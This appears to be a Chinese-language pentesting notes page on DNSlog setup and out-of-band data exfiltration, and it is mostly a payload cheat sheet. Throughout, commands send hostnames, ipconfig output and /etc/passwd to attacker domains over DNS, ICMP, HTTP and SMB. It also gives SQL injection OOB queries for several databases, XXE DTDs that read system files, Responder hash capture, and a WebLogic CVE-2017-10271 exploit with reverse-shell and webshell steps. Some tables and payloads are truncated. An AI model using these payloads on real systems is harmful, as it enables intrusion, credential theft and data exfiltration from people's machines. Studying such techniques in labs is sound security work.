搭建Dnslog
dnslog原理:
DNS在解析的时候会留下日志,这类工具就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在多级子域名中,传递到我们自己的服务器中,然后读取日志,获取特定信息,最后根据获取的信息来判断我们渗透测试的动作是否成功运行。
搭建:https://github.com/BugScanTeam/DNSLog
ceye: http://ceye.io/records/dns
windows常用payload:
ping %COMPUTERNAME%.2gln5s.ceye.io | 查看返回的计算机名 |
---|---|
for /F "delims=" %i in ('whoami') do ping -n 1 %i.2gln5s.ceye.io | 查看返回的计算机名 |
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %itest.2gln5s.ceye.io |
%APPDATA% : | 列出应用程序数据的默认存放位置。 |
---|---|
%CD% : | 列出当前目录。 |
%CLIENTNAME% : | 列出联接到终端服务会话时客户端的NETBIOS名。 |
%CMDCMDLINE% : | 列出启动当前cmd.exe所使用的命令行。 |
%CMDEXTVERSION% : | 命令出当前命令处理程序扩展版本号。 |
%CommonProgramFiles% : | 列出了常用文件的文件夹路径。 |
%COMPUTERNAME% : | 列出了计算机名。 |
%COMSPEC% : | 列出了可执行命令外壳(命令处理程序)的路径。 |
%DATE% : | 列出当前日期。 |
%ERRORLEVEL% : | 列出了最近使用的命令的错误代码。 |
%HOMEDRIVE% : | 列出与用户主目录所在的驱动器盘符。 |
%HOMEPATH% : | 列出用户主目录的完整路径。 |
%HOMESHARE% : | 列出用户共享主目录的网络路径。 |
%LOGONSEVER% : | 列出有效的当前登录会话的域名控制器名。 |
%NUMBER_OF_PROCESSORS% : | 列出了计算机安装的处理器数。 |
%OS% : | 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.) |
%Path% : | 列出了可执行文件的搜索路径。 |
%PATHEXT% : | 列出操作系统认为可被执行的文件扩展名。 |
%PROCESSOR_ARCHITECTURE% : | 列出了处理器的芯片架构。 |
%PROCESSOR_IDENTFIER% : | 列出了处理器的描述。 |
%PROCESSOR_LEVEL% : | 列出了计算机的处理器的型号。 |
%PROCESSOR_REVISION% : | 列出了处理器的修订号。 |
%ProgramFiles% : | 列出了Program Files文件夹的路径。 |
%PROMPT% : | 列出了当前命令解释器的命令提示设置。 |
%RANDOM% : | 列出界于0 和 32767之间的随机十进制数。 |
%SESSIONNAME% : | 列出连接到终端服务会话时的连接和会话名。 |
%SYSTEMDRIVE% : | 列出了Windows启动目录所在驱动器。 |
%SYSTEMROOT% : | 列出了Windows启动目录的位置。 |
%TEMP% and %TMP% : | 列出了当前登录的用户可用应用程序的默认临时目录。 |
%TIME% : | 列出当前时间。 |
%USERDOMAIN% : | 列出了包含用户帐号的域的名字。 |
%USERNAME% : | 列出当前登录的用户的名字。 |
%USERPROFILE% : | 列出当前用户Profile文件位置。 |
%WINDIR% : | 列出操作系统目录的位置。 |
%ALLUSERSPROFILE% | 本地 返回“所有用户”配置文件的位置。 |
%APPDATA% | 本地 返回默认情况下应用程序存储数据的位置。 |
%CD% | 本地 返回当前目录字符串。 |
%CMDCMDLINE% | 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 |
%CMDEXTVERSION% | 系统 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% | 系统 返回计算机的名称。 |
%COMSPEC% | 系统 返回命令行解释器可执行程序的准确路径。 |
%DATE% | 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 |
%ERRORLEVEL% | 系统 返回上一条命令的错误代码。通常用非零值表示错误。 |
%HOMEDRIVE% | 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMEPATH% | 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMESHARE% | 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%LOGONSERVER% | 本地 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% | 系统 指定安装在计算机上的处理器的数目。 |
%OS% | 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
Linux常用payload:
nslookup whoami.test.2gln5s.ceye.io | 查看主机的名称 |
---|---|
curl -X POST http://ip.port.2gln5s.ceye.io/whoami?p= http -d data=http | 查看主机名称名返回,以http形式 |
curl test.2gln5s.ceye.io/`ifconfig | base64 |
curl http://ip.port.2gln5s.ceye.io/`ls` | 显示当前目录下的文件 (只能显示一个) |
curl whoami .2gln5s.ceye.io |
查看主机的名称 |
http://rinige.com/index.php/archives/705/ | dnslog 攻击的一些姿势 |
启动三个白帽任意 linux 结界 | curl -b cookie=admin ccxxxx.dnslog.info |
创建 cookie 文件 | echo -e "ccxxxx.dnslog.info\tFALSE\t/\tFALSE\t1450450776\tusername\tadmin" > cookies.txt |
执行系统命令,并将结果追加到 cookies.txt 中去 | pwd | tee -a cookies.txt |
将回显内容变成一行 | paste -s -d ":" cookies.txt | tee cookies.txt |
日志记录回显内容 cookie | curl -b cookies.txt cc6020.dnslog.info |
Poc:
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
数据库payload
load_file(concat('\\\\',(select database()),'.2gln5s.ceye.io\abc')) | 读取数据库 |
---|---|
?id=1' and if((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1)--+ | |
?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.test.2gln5s.ceye.io\abc'))),1,1)--+ | |
DECLARE @host varchar(1024); | 注册一个名为@host的变量,类型为varchar |
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link'; | db_name()然后转换成varchar类型 |
EXEC('master..xp_dirtree "\'+@host+'\foobar$"'); | 远程主机的foobar$目录 |
注入时候需要注意设置
1 | my.ini |
OOB信息外带漏洞
简介
带外数据(OOB)是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。因此,本文也将重点介绍有关DNS泄露数据的技巧。
引发DNS请求
成功利用DNS从有漏洞的数据库中渗出数据的前提条件是,DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
任何可以接受网络地址的函数是最有可能被利用来进行这种攻击的。
注:出于本文目的,我们尽可能的将用于受害者的payloads以最小依赖性和权限保持为单行。
设置:DNS/OOB查询基础架构
先决条件
具有静态IP地址的公共服务器:出于演示目的,我们将使用由Google云平台(GCP)提供的VPS服务。
注册域:访问已注册的域设置,将权限委派给域名服务器。这里我们将使用oob.dnsattacker.com进行DNS解析。
具体步骤
我们使用Google Cloud Platform(GCP)创建具有静态IP地址的Linux机器。请确保你在服务器上具有root权限。如果你之前并没有任何有关GCP的创建经验,那么请参照本指南进行创建。
我们在注册商的DNS设置中,为我们的域添加了两条记录。使用NameServer定义了一个子域,以及为nameserver定义了A记录(我们GCP服务器的IP)。现在,这些设置将子域的所有DNS请求都路由到了我们的GCP服务器上。
我们可以使用tcpdump来观察服务器上的DNS查询情况。
系统命令注入:OOB
我们可以通过解析DNS名称并查找关联的DNS查询,来检测Web应用程序中的操作系统代码注入漏洞。
检测
DNS
攻击者:使用Wireshark/tcpdump观察53端口的响应情况。
1 | sudo tcpdump -n port 53 |
注:在DNS命令中,我们还可以显式定义用于解析的名称服务器。
Windows
1 | nslookup test.oob.dnsattacker.com |
1 | ping ping.oob.dnsattacker.com |
UNIX
1 | host host.oob.dnsattacker.com |
同样,我们可以使用:
1 | dig test.oob.dnsattacker.com |
利用/渗出
DNS
注:使用Wireshark/tcpdump观察53端口的响应情况。
1 | tcpdump -n port 53 |
Windows
受害者:
1 | cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!" |
攻击者:
1 | echo “encoded output” |base64 -d # decode the output with base64 |
使用多行发送输出
受害者
1 | cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # Sending file in HEX |
攻击者
1 | sudo tcpdump -n port 53 | tee file.txt |
提取和构建输出:
1 | echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p |
限制条件:需要Powershell。
Unix
受害者:
1 | var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done # Sending file in HEX |
攻击者:
1 | sudo tcpdump -n port 53 | tee file.txt |
提取和构建输出:
1 | echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p |
与十六进制编码相比,Base64编码文件会小很多。
受害者:
1 | var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64 |
攻击者:
1 | cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d # Extracting Output |
ICMP
Windows
受害者
1 | cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions); |
攻击者
1 | sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap #To capture |
提取数据:
1 | echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #Or Use Wireshark gui |
限制条件:需要Powershell。
Unix
受害者:
1 | cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don |
攻击者:
1 | sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture |
提取数据:
1 | echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #Or Use Wireshark gui |
HTTP
Windows
受害者:
1 | cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!" |
注:如果PowerShell不可用,请使用“mshta !Final!”。
攻击者:
1 | echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p |
Unix
受害者:
1 | wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000 |
攻击者:
1 | echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p |
同样,我们可以使用:
1 | wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com # extract data in post section |
SMB [使用Responder窃取哈希]
Windows
受害者
1 | net use h: \\dnsattacker.com\web |
攻击者
1 | sudo ./Responder.py -I eth0#Run responder to capture hashes |
同样,我们可以使用:
1 | net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt |
XXE:Out of Band
检测
我们可以通过向攻击者域(即oob.dnsattacker.com)创建DNS请求来确认XXE漏洞是否存在。这里有一个非常好的XML实体利用的练习框架推荐给大家。
受害者:
1 |
|
攻击者:
1 | sudo tcpdump -n udp port 53 |
限制:在撰写本文时,DNS查询仅能用于XXE的检测。
利用/渗出
HTTP
攻击者:运行python HTTP server来托管dtd文件。
1 | python -m SimpleHttpServer 9000 |
受害者:
1 |
|
linux.dtd
1 | <!ENTITY % data SYSTEM "file:///etc/passwd"> |
注:对基于Windows的受害者机器,请使用以下dtd文件。
windows.dtd
1 | <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> |
FTP
攻击者:
运行python HTTP server来托管dtd文件以及xxeftp server(请参考此处)。
1 | python -m SimpleHttpServer 9000 |
受害者:
1 |
|
linux.dtd
1 | <!ENTITY % data SYSTEM "file:///etc/passwd"> |
注:对基于Windows的受害者机器,请使用以下dtd文件。
windows.dtd
1 | <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> |
SMB [窃取哈希]
攻击者:运行responder捕获哈希值
1 | sudo ./Responder.py -I eth0 |
受害者:
1 |
|
注:出于演示目的,我们将使用CVE-2018-0878:Windows远程协助信息泄露漏洞。
类似地,其他可能泄露数据的payloads
1 | http://oob.dnsattacker.com:port/%data |
SQL注入
注:所有数据库服务器都安装在Windows上。有关SQL Injection cheat sheets请参考[1][2]
检测
DNS
攻击者:使用Wireshark/tcpdump观察53端口响应情况。
1 | sudo tcpdump -n port 53 |
ORACLE
检测
受害者
1 | SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL; |
注:上述功能需要更高的权限才能调用。
利用/渗出
受害者
1 | SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /* Extracting Oracle database version */ |
同样,我们可以使用以下payloads。
受害者
1 | SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*Extracting Current user in Oracle database */ |
如果你使用的Oracle为10G或更低版本,则可以使用一些替代方法来创建DNS查询:UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT and UTL_TCP。
MSSQL
检测
受害者
1 | EXEC master..xp_dirtree '\\oob.dnsattacker.com \' – |
利用/渗出
受害者
1 | DECLARE @data varchar(1024); |
限制条件:数据库用户须为sysadmin权限。
类似地,创建DNS查询的其他方法包括:xp_fileexists,xp_subdirs,xp_getfiledetails,sp_add_jobstep
MYSQL
检测
受害者
1 | SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt')); |
利用/渗出
受害者
1 | SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt')); |
限制条件:数据库用户须具有Select,update和“文件”权限。
Postgresql
检测
受害者
1 | CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental'); |
限制条件:用户必须具有超级用户权限才能执行CREATE EXTENSION查询。
利用/渗出
受害者
1 | DROP TABLE IF EXISTS table_output; |
使用DNS泄露数据的限制
域名最多可包含127个子域。
每个子域最多只能包含63个字符长度。
完整域名的最大长度为253个字符。
DNS记录缓存为每个URL请求都添加了一个唯一值。
DNS是明文通道,因此通过DNS提取的任何数据都将采用明文格式,并可供中间节点和DNS服务器缓存使用。因此,建议不要通过DNS泄露一些较为敏感的数据。
实战
CVE-2017-10271
环境: https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
1 | 搭建命令 |
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
成功获取shell:
写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp
):
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
weak_password
环境: https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password
注入实战
参考: